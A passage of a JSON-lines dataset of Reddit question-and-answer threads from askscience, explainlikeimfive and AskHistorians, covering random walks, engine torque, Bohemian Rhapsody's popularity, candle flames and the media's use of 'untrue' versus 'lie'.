2 steps, in 3 steps, ad infinitum. This sum becomes infinite, and so you are sure that you'll eventually return. Now since you are looking at a product of d one-dimensional walks, you expect that the probability of coming back after n steps is going to be proportional to (n^(-1/2))^(d) = n^(-d/2). The sum of these over n is going to be the probability that we'll eventually return.\n\nWhen d is 1, you have a sum of 1/sqrt(n) which is infinite [p-series with p = 1/2](_URL_0_#P-series) as I mentioned. When d is 2, you have the sum of 1/n, which [is also infinite](_URL_0_) and we're sure to come back to the origin. However, when d = 3, you have a convergent series and in the end the probability ends up being less that 1. This is more and more true for larger d.\n\nIn a more philosophical sense, there is just too much space to go to in higher dimensions. In 1-dimensional space you can only go left and right. In 2 dimensions you have east, west, north and south and gets just a bit harder to eventually come back but not difficult enough to make it improbable. In 3 dimensions you now have up and down and it's just too much to handle with certainty. This issue becomes even worse in higher dimensions.\n\nTo get the actual probability you need to look at [Polya's random walk constants](_URL_2_).", "Followup:\n\nBecause there is a finite probability of a random walk moving out any distance R before returning to the origin, can we infer that there is a 100% chance that a 1-D random walk will eventually reach all points?  (Because we could consider the random walk after reaching R to be a new random walk, but per the theorem there is a 100% chance it will travel -R from there.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/JYdfUVM.png"], ["http://en.wikipedia.org/wiki/Harmonic_series_%28mathematics%29", "http://mathoverflow.net/questions/45098/when-do-3d-random-walks-return-to-their-origin", "http://mathworld.wolfram.com/PolyasRandomWalkConstants.html", "http://en.wikipedia.org/wiki/Harmonic_series_%28mathematics%29#P-series"], []]}
{"q_id": "1h5m5q", "title": "I've seen pictures of what early Earth might have looked like, but what about the other planets?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1h5m5q/ive_seen_pictures_of_what_early_earth_might_have/", "answers": {"a_id": ["car2err"], "score": [6], "text": ["Early Earth and early Mars were probably fairly similar. Without plants on either, both would have sandy-looking continents with oceans covering the lower portions of the planet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cgeeqy", "title": "How can we accurately measure happiness?", "selftext": "Happiness is such a subjective concept that has so many facets and factors. I was recently assigned to read the world happiness report, but self-reporting and 6 macro factors don't seem like an accurate way to quantify a qualitative variable. Is it even possible to quantify happiness?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cgeeqy/how_can_we_accurately_measure_happiness/", "answers": {"a_id": ["eugo4e9", "eugr9tk", "eugubwr", "euh1r3n", "euhc0y3", "euhgxpc"], "score": [13, 2, 2, 2, 3, 2], "text": ["No, it isn\u2019t *really* possible since happiness is not a discrete entity. We can\u2019t \u2018count\u2019 how manny \u2018happies\u2019 you have, we can just ask you to evaluate how you feel and attempt to graft that onto a 1-5 or 1-10 scale and try to use that for individuals.\n\nWe can, however, look at society-wide metrics and attempt to say how those reflect happiness. How much of the population lives below the poverty line? How much of the population is unemployed or underemployed? How much of the population is homeless? How much of the population suffers from food insecurity? Things like that. If everyone makes a living wage, has a place to rest their head, and knows where their next meals are coming from, we can generally assume a basic level of happiness since their basic needs are met.\n\nTake a look at [Maslow\u2019s Hierarchy of Needs](_URL_0_) to get an idea of how we can maybe judge happiness by how our needs are met. I hope this answer helps!\n\nEdit: some words", "I don\u2019t think you can measure it accurately. But what you can is measure negative feelings. There are several depression and stress screening tools.\n\nFunctional MRI can show if a person is happy by monitoring brain activity, but that is not a measure of intensity as far as I know.", "Emotions are not quantifiable in quality and intensity by any test I know of, there just simply isn't some thing we can measure to see how happy a person is.  There are hormones that make people feel happier, but the intensity is not quantifiable.  It's like measuring customer satisfaction, did they really enjoy their shopping experience, or do they just want to say they did.  For example, Cuba has some of the highest satisfaction ratings with emergency care, even though it is objectively worse than many other countries (both in quality and wait times), but they have nothing else to compare it to", "We can't. However, like most social science experiments, we can come up with objective (or not) measurement which are in theory accurate proxies for experimental subject happiness. If the experiment gets repeatable results when performed by different lab/experimenters and different experimental populations, the proxy measurements may become recognized as legit proxies", "Before you can measure anything, you have to have a workable **conceptual** definition of it.  In social science, we have numerous useful approaches to defining a concept, but until we've done so, we can't begin to measure it.  If we define happiness as, say, a positive subjective assessment of one's current state, then we can move on to **operationally** defining the concept (in this example, we could ask individuals to report on their perception of their current state).  Other definitions might require different measurement techniques, but measurement still must begin with a clear conceptual definition.  Furthermore, ANYTHING that can be adequately defined (conceptually), can be (operationally) measured.   In short, if you can tell me what you mean by \"happiness,\" I can tell you how to measure it.", "It's crucial to develop an objective measure of well-being for populations, in order to assess the effect of a political policies and personalities, as in the \"greatest good for the greatest number.\"\n\nIf that's considered a worthwhile goal. Where is Hari Seldon when you need him?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Maslow's_hierarchy_of_needs"], [], [], [], [], []]}
{"q_id": "b0ogvq", "title": "what\u2019s the difference between a big powerful engine that makes a car go fast, and a big powerful engine that makes a truck able to pull heavy things. what\u2019s fundamentally different about them.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b0ogvq/eli5_whats_the_difference_between_a_big_powerful/", "answers": {"a_id": ["eifz2ti", "eifzd0r", "eig03pe", "eig1vh7", "eig34k8", "eig4ov9", "eig5x48", "eig7ggw", "eige098", "eigqvh7"], "score": [6, 15, 4, 62, 2, 9, 2, 3, 2, 5], "text": ["In very general terms, for speed you want a lot of horsepower,  whereas for towing/hauling torque output is more important. The various engines in your example will be designed with that in mind.", "A couple of things the truck one will usually be a diesel and will normally be tuned to have a more broad power curve (peak power is over a large rpm range and usually at lower rpms) to prevent you from having to shift gear so much, a side effect of this is they should be slightly more fuel efficient.\n\n & #x200B;\n\nThe far bigger difference however is not the engine but the gearbox. The gearbox can take the power of the engine and output a range of torque at the wheels. Truck gearboxes have lots of gears to ensure they are always outputting the optimal amount of torque. \n\n & #x200B;\n\nIn theory if you had a gearbox with enough gears you could use a superbike engine to pull just as heavy a load as a big truck engine, it would just be incredibly noisy, use lots of fuel and you would constantly be changing gears due to the narrow power band (power peaks over a small range at a high rpm) of the bike engine.", "Horsepower is how fast an engine can do work torque is how much work that engine can do.", "It all comes down to the power stroke. This is when the fuel is combusted, and hot, expanding gasses provide pressure, which is force, to push on a piston producing work.\n\nForce that goes around an axis is called torque. It get's its own fancy word. If you push a heavy box across the floor, that's force. If you turn a thumb screw, that's torque. Same thing.\n\nWork is force over time. The best illustration of this is if you want to push that box across the floor in half the time, you have to perform twice the work.\n\nForce doesn't have a speed associated with it, it's just an amount. Diesel trucks are designed to take advantage of diesel fuel, which burns really slowly. In the diesel engineering world, any Diesel engine that runs faster than about 1,300 RPM is considered a \"high speed\" engine. Remember that most diesels in the world power pumps, generators, trains, and cargo ships, they're gigantic, where you're whole body can fit inside the cylinder of some of these. You'll be hard pressed to find a Diesel engine that runs faster than ~5,000 RPM - maybe look at a Volkswagen GTI. Any faster, and you're dumping still burning, not yet combusted diesel fuel out the exhaust port, and that still burning, still getting hotter fireball is bad for that part of the engine, which wasn't designed to handle combustion. There are also engineering compromises in Diesel engines to handle the heat and force, and these parts and materials don't like moving fast without ripping itself to pieces.\n\nAnyway, since diesel burns slow as shit and hot as balls, these engines have very long strokes - combusting diesel produces a long power stroke, there is a long time you can capture energy from combustion and turn it into work.\n\nGasoline burns really fast. Cosworth was building an F1 racing engine that ran at 22,000 RPM before the 2016(?) engine speed limit. It produces less force, but you can produce it more often. Remember what I said about work? Want to cut the time? Do more work. Acceleration favors work in the math of these equations, so gasoline is the champion of acceleration, hence racing engines. Also acceleration can be negative, not only can you speed up quickly, but you can slow down, quickly, too, because the combustion event can be so short, you can get a new charge of fuel and air in the cylinder sooner that produces the new greater or lesser force. We call this throttle response. In a diesel, you have to wait for that power stroke to finish, a lot longer, before a new charge goes into that cylinder. 2-stroke and rotary engines have even faster throttle response because there's less or no rotation that isn't producing power.\n\nSo, can you race on a diesel? You sure can. There are all sorts of racing where torque is everything. Is it fast? Not really. Diesel can get you high speeds with gearing, and there's enough torque to turn those gears to get that vehicle up to top speed, eventually - you need torque, like int the Bugatti Veyron, to overcome wind and rolling resistance, but they'll never match the acceleration properties of gasoline. You can compensate with insane gearing, and lots, and lots of gears, but then you're talking a transmission that doesn't exist, that's too big, too heavy, and you spend too much time shifting, and time shifting is not time putting power to the road. Maybe one day there will be a CVT that can do it for a diesel racing application, but I don't believe the materials are there.", "Ignore almost all the comments in this thread. \n\n Part of the difference is the amount of power contained in diesel vs gasoline. Diesel has roughly 147k BTU/gallon vs 125k BTU for gas. But a much more important part of this is engine design. A longer stroke leads to much more torque being developed.\n\nWith the longer stroke and more force being exerted on parts things are built heavier to withstand typical use. Also with a longer stroke parts move faster relatively. (Look at a record spinning, the center parts move less feet per minute than the outside).  Consider the mass of pistons and rods changing directions from upward to downward movement in the cylinder. It's crazy to think how fast these things happen. For example a engine running at the relatively low speed of 1200RPM the piston changes directions 20 times /second. Valves open and close 10 times. So these large diesels usually are limited to low rpm, 2100 usually being the max for 15 liter + displacement engines.\n\nThese engines develop incredible amounts of torque at low RPM. A typical modern semi engine would make 1800lb.ft. of torque at 1600rpm and have an astounding 1200lb.ft of torque at idle/700 RPM. where the amazing AMG C63 doesn't make 350lb.ft of torque until almost 2500 RPM and maxes out at about 400. The available power, especially down low in the RPM range combined with low gearing/lots of gears allows truck to move incredible weight.\n\nAlso dont confuse lots of gears with low geared. My diesel dodge 2500 can move way more than a honda accord and would have similar gearing, albeit much stronger components to handle the additional power.", "Sticking strictly by your question I'd say it comes down to gearing.  A truck with a big engine won't go very fast in 1st gear but will be able to pull very heavy things.  A car with a big engine (Corvette for example) can go nearly 80 in 1st gear but you wouldn't want to haul a trailer with it.", "I was intrigued by this question,, but didn't find the info I was looking for. Using just gas engines of the same displacement, what makes these differences. Is it bore vs stroke, compression, valve timing, etc?", "The gear ratio in the transmission has a lot to do with it.  (I have a 20 hp tractor that can pull my 300 hp truck backwards when it's trying to go forward.)", "With sports cars there tends to be more cylinders leading to a higher rpm so it can drive the wheels faster, with truck engines the have fewer Cylinders but larger ones giving them more torque, which allows the truck to pull heavier loads but not reach as high of a top speed.", "There are excellent answers like /u/mredding posted, but a bit more ELI5:\n\nMotors, like any other mechanical devices, are designed to do a task. You use the best design for the job you want to accomplish. A sledgehammer is fantastic for breaking up concrete slabs, but not an elegant device for putting picture hangers in your walls. A small gasoline engine (in general; there are exceptions) is designed to run very fast and be very responsive. A large diesel engine is designed to run at a much slower rate and be efficient.\n\nTrucking companies don't care about 0-60 mph (0-100 km/h) times. They want low fuel costs and long engine lives (lower rotation speed = less wear and tear on the engine per unit distance). A sports car owner wants something that goes FAST and does it RIGHT NOW, and if it only lasts for 200k miles, so what? Most people drive under 12k miles per year, so it's good for 15 years or more. A standard tractor-trailer rig can be driven 70 hours per week by one driver. Assuming an average speed of 50 mph (they go faster, but they have to fill up, take breaks, etc., and this is a *very* conservative estimate), they will cover 3500 miles per week, or 182k miles per year.\n\nCan you make one engine do the other's job? Yes, with gears. But it will be a lot harder to maintain a Corvette engine driving a semi, and a semi engine driving a Corvette will have godawful acceleration, and that is completely ignoring the weight and friction losses from all the gears."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "6w27d0", "title": "How did Queen's \"Bohemian Rhapsody\" - a gibberish parody of contemporary rock ballads - become one of the most famous and celebrated songs of all time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6w27d0/how_did_queens_bohemian_rhapsody_a_gibberish/", "answers": {"a_id": ["dm4v9v3", "dm5b4ag"], "score": [243, 24], "text": ["I'm not quite sure that 'gibberish parody' is *quite* a fair description of 'Bohemian Rhapsody', but perhaps it's indicative of how controversial Queen were amongst critics and fans. Queen routinely got bad reviews from the likes of *Rolling Stone* and the *NME* in the 1970s. Dave Marsh's commentary on the band in a review of their album *A Day At The Races* in *Rolling Stone* is probably representative of many critics' feelings at the time: \n\n > Queen is the least experimental of such [progressive pop] groups, probably because their commercial aspirations are the most brazen. They have managed to borrow all that's frothiest from their influences, from the fake-orgasmic vocal contortions of Robert Plant to the semi-vaudevillian pop of the Beach Boys and Beatles. In addition, to cement their \"seriousness,\" they use instrumental effects which hint at opera in the same way that bad movie music palely evokes the symphony. Blessed with Freddie Mercury's passable pop voice and guitarist Brian May, who manages to fragment and reassemble the guitar styles of Jimmy Page, Jeff Beck and Eric Clapton in interesting, if pedestrian, ways, Queen will probably top the charts until one or the other of its leaders grows restless and spins off another version.\n\nSteve Pond in a *Rolling Stone* review of their album *The Game* in 1980 referred to 'Bohemian Rhapsody' as a 'brazen hodgepodge'.\n\n*Rolling Stone* denied that Bohemian Rhapsody was of any importance for a long time; it wasn't included on their 1989 list of the top 100 singles of the last 25 years, and on their equivalent 2004 list, it was only #169. The song doesn't figure on a 1987 'Top 150' singles list at the *NME*. It also doesn't appear on a list of the top 100 songs of all time in *Mojo*, selected by their critics, in 2000, but does appear as being 23rd on a list of the top singles of all time by *Mojo* readers in 1997. So the fame and celebration of Queen's 'Bohemian Rhapsody' did not come from critics.\n\nInstead, it came from fans and radio DJs. The very prominent British radio DJ Kenny Everett was given a tape of the song by the band to play on air before its release. In fact, the song was almost not released at all as a single; the record company were perhaps understandably dubious about the commercial prospects of a 6-minute single with an opera section and no real chorus. However, Kenny Everett's breathless championing of the song on air and the strong audience response to the song convinced the record company it might be worth releasing.\n\nAnd worth releasing it was, from a commercial point of view; Mitchell Cohen in a *Phonograph Record* profile of the band in 1976 calls it 'the biggest 45 in a decade'; by the point that Cohen is discussing it, it had sold 1.5 million copies in the UK. Between that and the chart-topping UK re-release of the song after Mercury's death in late 1991, where it topped the charts at Christmas 1991 and sold another million copies, it's actually the 3rd highest selling single in the UK ever, and the highest that's not a charity single. Clearly, the song struck a chord with the public.\n\nAs to why fans liked a six minute single that critics called 'brazen hodgepodge' from a band going for quote unquote seriousness, it's worth remembering that in 1975, 'Bohemian Rhapsody' was released during the critical death throes of 1970s progressive rock. By 1975, progressive rock as a movement had had its day critically and increasingly commercially; where progressive rock bands had success after 1975 it was with music that was much more nakedly commercial than the commonly way-out prog rock of the early 1970s (think Genesis's 'Follow You, Follow Me', or Yes's 'Owner Of A Lonely Heart' or Pink Floyd's almost disco 'Another Brick In The Wall'). By 1975, punk was just around the corner. Most famously and indicatively, the Sex Pistols' first appearance on TV where they caused a scene and swore on television only occurred when Queen had to cancel an appearance.\n\nBut as far as average listeners were concerned, the fads and fashions within music critic circles were another world, and several years of prominent prog rock had led to an acceptance that rock might get a bit ambitious and weird. As a song, 'Bohemian Rhapsody' sets you up to think it's an Elton John-style ballad, and then it subverts that; instead of going to a third verse about what happened after mama killed a man after the guitar solo, instead it suddenly went faux-opera. And soon after that, some hard rock. The combination of surprisingly combined but also readily-understandable musical tropes, along with the band's performances, the high production quality - and the unique-at-the-time multi-tracked stacked harmonies - clearly made for an attractive mix as far as audiences were concerned.\n\nIn terms of what the song is about, Freddie Mercury told *Phonograph Record* in 1976 that:\n\n > t's nice to hear somebody has gone that far to try and interpret a song. I like them to make up their own. If I were to come up with my interpretation, put my views to it, it would just shatter their illusions and things, so...They've got a competition on the radio back home; people had to write in what they thought the song was about. Hundreds and hundreds of letters came in. Some were really amazing.\n \nElsewhere, a 2005 *Uncut* article on the song argues, based on recollections from one of Mercury's personal assistants, that the song is largely about Freddie Mercury's angst about his identity and sexuality. Mercury had been in a long term relationship with boutique owner Mary Austin since in the 1960s, but by 1975 he had increasingly found himself cruising for casual gay sex. The status of gay men in the UK in the 1970s is complicated, with pockets of acceptance of homosexuality in certain parts of society but also a wider homophobia in wider society. In a funny way, Freddie Mercury's affectations of calling people 'darling' and the name of the band were widely seen as trying to buy into the gender-bending androgyny of the glam rock movement, as part of the band's desire for commercial acceptance discussed by Marsh above. Similarly, nobody in the mid-1970s really believed that AC/DC were bisexual, despite their name being a common slang term for bisexuality; they were (correctly, as far as I can tell) seen as co-opting the iconography of glam rock. I think the 2005 *Uncut* article is likely right, insofar as Freddie Mercury's anguish is fairly clear in the song, and [this Daily Mail interview with Austin](_URL_2_) suggests that 1975-76 was about when he revealed to Mary Austin that he was bisexual and when they ceased having a sexual relationship. No doubt his coming to realisations about and acceptance of his sexuality was a difficult road, as it still is for many LGBTI+ people, and all of this might well explain his reluctance to discuss the meaning he felt the song had.\n\nAlso usually referenced when discussing the popularity of the song, in terms of its revival amongst younger audiences who might not have been alive when it was re-released in 1991, is of course [the opening scenes of the 1992 film *Wayne's World*](_URL_0_), where Wayne, Garth, and their friends sing along with gusto. The song was re-released and topped the charts in the UK in December 1991, half a year before *Wayne's World* was released in the UK in May 1992. However, in the US, [Bohemian Rhapsody reached #2 in the Billboard Hot 100 in May 1992](_URL_3_) - very clearly as a result of *Wayne's World*, which [had made over $100 million in box office by that point, and was still in the top 10 biggest movies 3 months after release](_URL_1_). The song being associated with a more modern cultural reference likely provided a way into the song for people not around in 1975, and the sheer popularity of *Wayne's World* meant that 'Bohemian Rhapsody' actually ended up higher in the charts in 1992 in the US than it had in 1975, where it had only reached #9. \n\nAnd in 1992, it was *my* favourite song ever - I bought the single on cassette and played it to death. I think it made sense to me at the time, as a young kid who didn't know who they were, because the verses of the song sounded like Elton John (who was riding a wave of renewed popularity at the time after an indifferent 1980s) and who I was a big fan of because I played the piano. Also, the loud rock bit sounded like Guns 'n' Roses, who were then at a commercial peak. Not coincidentally, Elton and Guns 'n' Roses' Axl Rose dueted on the song at the Freddie Mercury memorial concert that the remaining members of Queen put on after Mercury's death. \n\nAnyway, that more than one generation played a role in making the song popular - in 1992, 'Bohemian Rhapsody' was well-divorced from the mid-1970s prog rock/hard rock context - plays a big role in its status as a very popular song amongst British audiences in particular. Instead of it being baby boomer music redolent of one particular time and place, it's music with a cross-generational appeal, and that goes a long way towards a song's fame and cultural cachet.", "For context et\u2019s take a look at the UK chart landscape of the mid 1970s. We may look back fondly to the likes of Bowie and Roxy Music or the excesses of prog rock, but this a narrow picture of the music scene handed down by music journalists.\n\nChart music was in fact  dominated by easy listening ( The Carpenters, John Denver),easy listening soul (Barry White, The Stylistics) and teenybop (The Osmonds, Bay City Rollers). Disco was emerging (George McCrae, Abba) and glam rock, with it\u2019s blend of theatrics and 50s revivalism was still ploughing through in its dying embers ( Mud, Suzi Quatro). And of course there was Christmas, when the British public demonstrated their love of novelty records (Slade, Wizzard) by buying them in droves.\n\nWhy was music so middle of the road? Public access to music was restricted due to the virtual monopoly of national radio stations ( Radio 1 for pop and Radio 2 for easy listening) complemented by a limited repertoire of local BBC and commercial stations. Daytime playlists were drawn  up in committee and DJs tended to be more \u2018personalities\u2019 than into the music. When they did champion records they tended to be on the novelty side. Top of The Pops was the main primetime pop show and had a disproportionate influence as, with only three channels around, a performance could get an instant audience of up to 10 million viewers. Pluggers from the record company used various tactics to get the records played by DJs and performed on Top of the Pops as well as  manipulating the charts by buying up records.\n\nOther genres fared better in the album world.  Psychedelia and blues revival had evolved into both hard rock (Black Sabbath, Led Zep) and progressive rock  (Pink Floyd, Yes) \u2013 a  blend of experimentation and classical aspirations. Artists here relied on gigs, the music press and word of mouth to get exposure and young males dominated their audience. Sometimes there was crossover into the upper echelons  of the singles chart but these were few and far between. Sitting between the two genres were Queen, who had ploughed away on the gig circuit, and released couple of OK performing albums. For their third album Sheer Heart Attack, Freddie Mercury expressed himself more in the camp theatrics that could be found in the glam/art rock scene whilst the band extended their use of multilayering and other studio effects. The single, Killer Queen, was a massive hit \u2013 Queen had found their sound.\n\nSo Queen now ticked a lot of musical boxes- hard, prog glam and  art rock with a good dose of old fashioned pop sensibilities thrown in. Let\u2019s now add a dash of opera. The genre was already in the pop consciousness as art rockers had Sparks had a massive crossover hit with This Town Ain\u2019t is Big Enough Than The Both Of Us  that featured  singer Russell Mael\u2019s operatic falsetto . But Queen took this up a few notches with studio multilayering to create the focal point of what was to become Bohemian Rhaposody. They  then blended this piece with a soft rock ballad, a hard rock solo and   vocal, a multitracked vocal overture, and a gentle coda. Splicing together a hotchpotch of different genres was nothing new \u2013 the Beatles used to great effect on the second side of Abbey Road and the concept was used many a time in prog rock albums. But how would this work as a 6 minute single and get radio airplay to help it sell? The Beatles got away with it with Hey Jude, but they happened to be the biggest band in the world. Queen, on the other hand, only had a couple of hits under their belt. Luckily the band knew DJ Kenny Everett who broke it in London\u2019s Capital Radio, playing teasers for a few weeks before playing the whole thing in full. To break the record to the nation, plugger Eric Hall, an old \u2013 school spiv, pushed the record onto radio 1\u2019s David Hamilton, pushing the novelty factor being so close to Christmas. Then there was the problem of TV exposure; the band couldn\u2019t play or mime the operatic bits live, so they created a promotional video that could be shown lieu and get prime coverage \u2013 especially on Top of The Pops.. It wasn\u2019t the first musical promotional film, but it the first to be so widely used for the time.\n\nSo now they had the exposure and the initial demand \u2013 why did it become so massive? As mentioned it was a smorgasbord of many popular genres, performed well and blended superbly. The soft rock ballad had a crossover appeal, especially to easy listening ears that held sway.  The camp operatic section worked for the Christmas singles market (and subsequent comedy tributes), but transcends beyond the initial novelty value the context of the other pieces that accompany it. Big brother networks i.e. records played to younger brothers who then played it to friends, kept the song  alive in young male circles. The fact that Queen become one of the biggest bands in the world (in part due to Bohemian Rhapsody.) helped the song persist in the public arena. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=thyJOnasHVE", "http://www.boxofficemojo.com/weekly/chart/?yr=1992&amp;wk=18&amp;p=.htm", "http://www.dailymail.co.uk/femail/article-2301718/Freddie-Mercury-Queen-stars-lover-Mary-Austin-cursed-fortune.html", "http://www.billboard.com/charts/hot-100/1992-05-09"], []]}
{"q_id": "9vv6g1", "title": "What makes Neptune look blue?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9vv6g1/what_makes_neptune_look_blue/", "answers": {"a_id": ["e9fbzdc"], "score": [19], "text": ["The methane in Neptune\u2019s atmosphere absorbs red light and reflects blue light from the sun. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3eny1i", "title": "why is it that when i'm tired things that normally wouldn't bother me (roommate chewing with his mouth open) suddenly make me unreasonably irritable/angry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3eny1i/eli5_why_is_it_that_when_im_tired_things_that/", "answers": {"a_id": ["ctgrc63", "ctgrfbq", "ctguchn", "ctgvdz8", "cth1ml9"], "score": [44, 10, 23, 2, 2], "text": ["You need to tell your roommate that chewing with his mouth open is gross, whether you're tired or not. ", "Because you're grumpy, you feel uncomfortable and wanna go to bed, and little things can make you angry.\nAlso tell him to close his mouth", "When you're tired your brain has trouble reading facial expressions and other social cues. This can lead it to confusing positive cues with negative ones and friends with enemies. In addition to that when you're tired your brain is just all around worse at making decisions and impulse control which can lead to you lashing out easier at people. \n\n\n_URL_0_", "I assume it's to do with lack of energy to tolerate these things(roommate chewing with mouth open). When you are tired your tolerance threshold becomes lower and lower until you start getting irritated by these normally small things. \n\nSometimes you can just be in a bad mood from something bad happening to you or thinking about something bad that happened that you suddenly lash out at small things.\n\nWhether you're tired or not chewing with your mouth open it gross.", "Because it requires more energy (literally, not just metaphorically) to tolerate the same level of stimuli, so your bodies reaction is to try and find a way to stop that thing from continuing and thereby creates the emotion anger to allow you to project yourself to make that stimulus stop. (Although one could think that getting angry would require more energy, I believe it doesn't because it is lower in the brain -- redditors correct me if I'm wrong)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://redd.it/3ddeik"], [], []]}
{"q_id": "1p85g6", "title": "Roman Gladius", "selftext": "Hi guys, not sure if this is the right place for this but I hope you can help.\n\nLong story short I am looking to purchase my best man at my coming wedding a replica gladius as he is incredibly keen on roman history.\n\nI was looking to get an inscription but in the interest of historical accuracy so as not to get it wrong I have the following questions.\n\nDid Romans inscribe their weapons?\nIf so where? The blade, hilt, pommel etc.?\n\nAlso while slightly off topic if anybody knows any good replica dealers in the UK/Europe I would be much obliged as I am clueless.\n\nIf this is the wrong place let me know and I will remove the post.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1p85g6/roman_gladius/", "answers": {"a_id": ["cd013hu"], "score": [2], "text": ["Rather than give a recommendation, which I don't feel qualified to do, I can link  you to a re-enactor's [website](_URL_0_) where he talks about replicas with lots of recommendations. Also I can't really find any mention of historical engravings, but that doesn't mean they didn't exist. A gladius was a mass produced weapon, I'm not sure if a general would carry a gladius or a [spatha](_URL_1_) or even something else, but that is likely where you would see an engraving on the blade. It's also quite possible that the soldiers engraved the wood or bone themselves (anyone who collects military firearms will attest to the fact that soldiers love carving on their weapons), which often doesn't survive where the blade does."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.larp.com/legioxx/gladius.html", "http://en.wikipedia.org/wiki/Spatha"]]}
{"q_id": "aeo7x5", "title": "if oxygen is needed for a fire, and bellows help a fire grow, why/how can wind blow out a candle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aeo7x5/eli5_if_oxygen_is_needed_for_a_fire_and_bellows/", "answers": {"a_id": ["edr1tri", "edr2kdj", "edr4nhk", "edregqp"], "score": [7, 7, 3, 3], "text": ["Oxygen is needed, but too much of a good thing can be too much. The candle's flame is so small that enough of a wind can rob the flame of the heat it needs to continue burning. It doesn't matter that the wind is also providing more oxygen, the effect of removing the heat dominates and the flame goes out.", "Great minds think alike. I may have found yer answer, matey. Yer not alone in askin', and kind strangers have explained:\n\n1. [ELI5: Why does blowing air on a small flame put it out, but doing the same on a big fire only fuels it? ](_URL_1_) ^(_17 comments_)\n1. [ELI5: How does wind blow out fire, like on a match? ](_URL_0_) ^(_9 comments_)\n1. [ELI5: Why does blowing on embers make them burn better, but blowing on candles puts them out? ](_URL_2_) ^(_4 comments_)\n1. [ELI5: If fanning flames makes them burn more fiercely, why can I blow out a candle? ](_URL_3_) ^(_7 comments_)\n1. [ELI5: Why can we blow out a candle but not suck one out? ](_URL_4_) ^(_5 comments_)\n1. [ELI5: Why does a small fire die from a blow of air, but a big fire actually thrives on it? ](_URL_5_) ^(_4 comments_)\n", " By blowing your  are removing the actual fuel.  The field of a candle is vaporized wax - vaporized wax burns.  When  you blow a candle (with hot or cold air) you remove that vaporized wax and you move the flame away from the wic.  Without the flame \"there\" (you  blew it away) you don't have enough heat  on the  _surface_ of the newly melting wax to achieve ignition, even though the wic at its center may still be as hot as the flame was prior to being blow out.", "A fire requires three things to burn, fuel, air, and heat.   By oversupply air you remove too much heat in the case of the candle. \n\nCompare the sizes. Now think in terms of heat. How much heat does a candle produce? Not much. Where does it go? Mostly upwards.  It\u2019s not retained by the wax, or the wick, so it\u2019s very easy to remove enough heat with a gust of breath to extinguish it.  A bonfire meanwhile, would need. . . . . . 20? 30? Mph gusts to blow it out, as much more heat is both present, and retained in the various fuel sources. \n\nYou can wipe up a spot of spaghetti sauce with a finger, and get 95% off right?  Why not a can worth of sauce with just a finger?\n\nThis is also why you can \u201cwash\u201d a fire out with water, though a stream of water into a fire would just evaporate. It would cool and extinguish a part of the fire if the fire isn\u2019t sufficiently hot. \n\nThis is why extinguishers explicitly state to \u201caim at the base of the fire\u201d. You\u2019re trying to cool the fuel source enough so that the fires no longer self sustaining. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://np.reddit.com/r/explainlikeimfive/comments/34y4gj/eli5_how_does_wind_blow_out_fire_like_on_a_match/", "https://np.reddit.com/r/explainlikeimfive/comments/23w5ck/eli5_why_does_blowing_air_on_a_small_flame_put_it/", "https://np.reddit.com/r/explainlikeimfive/comments/1kip0w/eli5_why_does_blowing_on_embers_make_them_burn/", "https://np.reddit.com/r/explainlikeimfive/comments/2b2ik0/eli5_if_fanning_flames_makes_them_burn_more/", "https://np.reddit.com/r/explainlikeimfive/comments/1prumv/eli5_why_can_we_blow_out_a_candle_but_not_suck/", "https://np.reddit.com/r/explainlikeimfive/comments/2yhm2v/eli5_why_does_a_small_fire_die_from_a_blow_of_air/"], [], []]}
{"q_id": "zbqon", "title": "why does the media use the world \"untrue\" instead of \"lie\" when describing a politician's false statements?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zbqon/eli5_why_does_the_media_use_the_world_untrue/", "answers": {"a_id": ["c636wqk", "c636x9o", "c6396ma", "c639w5h", "c63cu49", "c63esnv"], "score": [102, 23, 4, 12, 2, 2], "text": ["I'm not in with the media, but I would assume it's because the word *lie* implies a false statement was made intentionally, while *untrue* has no additional implication. It's easy to prove something is untrue, it simply has to be false. Proving something is a lie is much more difficult, and would require proof that the politician knew it was false when he said it.\n\nSince it's much harder to verify if someone is lying, it is usually more honest to report what they said was untrue.", "\"Lie\" implies a judgement: that the politician *knew* her statement was false, and deliberately made it anyway. \"Untrue\" is much more neutral, because it says nothing about the politician's knowledge or motives.", "A lie is a statement that an individual knows is false and contrary to the truth. An untrue statement is simply a statement that is incorrect, perhaps unbeknownst to the individual.", "because it's doubleplusungood.", "Lying is an accusation of knowingly presenting factually incorrect statements. An untrue statement isn't accusing someone, it's correcting them. In order to call someone a \"liar\", you have to show that they also knew in advance that what they were saying was incorrect. An extremely hard thing to prove. Something being untrue, however, is pretty easy to prove with evidence to the contrary. \n\nAs it stands though, most politicians don't really \"lie\" outright, they present half-truths that imply a greater \"truth\". For example, Paul Ryan's speech at the RNC, he said this:\n\n > Even with all the hidden taxes to pay for the health-care takeover, even with new taxes on nearly a million small businesses, the planners in Washington still didn\u2019t have enough money. They needed more. They needed hundreds of billions more. So they just took it all away from Medicare. Seven hundred and sixteen 